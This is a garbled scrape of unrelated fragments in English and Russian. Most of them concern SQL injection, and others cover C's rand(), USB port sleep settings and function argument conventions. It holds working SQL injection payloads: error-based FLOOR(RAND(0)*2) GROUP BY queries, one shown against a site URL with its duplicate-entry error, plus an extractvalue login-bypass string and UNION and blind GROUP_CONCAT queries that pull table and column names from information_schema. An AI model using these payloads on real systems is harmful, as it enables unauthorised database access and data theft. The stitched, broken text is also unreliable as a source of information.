The concat(floor(rand(0)*2),0x3a,( roughly does the same... the result would be something like 1:aUserName:UsersPassword. If you need further help please give some more details (RDBMS, the part before the "union"...) Hope this helps.
I understand that the C specification does not give any specification about the specific implementation of rand(). What different algorithms are commonly used on different major platforms?
...show=models&id=368+ OR (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(MID(database(), 1, 63), FLOOR(RAND(0)*2)))-- -&template_set=3 Duplicate entry 'sitedepth1' for key 'group_key'.
# Чтобы порты usb не засыпали # TX3_Mini_Clock Display Patch. Программы.
select * from admin where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database()))).
Это инструмент с открытым исходным кодом для тестирования на проникновение, который автоматизирует процесс выявления и эксплуатации уязвимости SQL-инъекця и захват серверов баз данных.
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Функция GROUP_CONCAT. Ну и наконец самое сладкое. Не найдя ни одной подходящей конкатенирующей агрегирующей функции, я нашел
The first function definition, standard_arg, the most familiar form, places no restrictions on the calling convention and arguments may be passed by position
Union: o UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename' Blind: o AND SELECT SUBSTR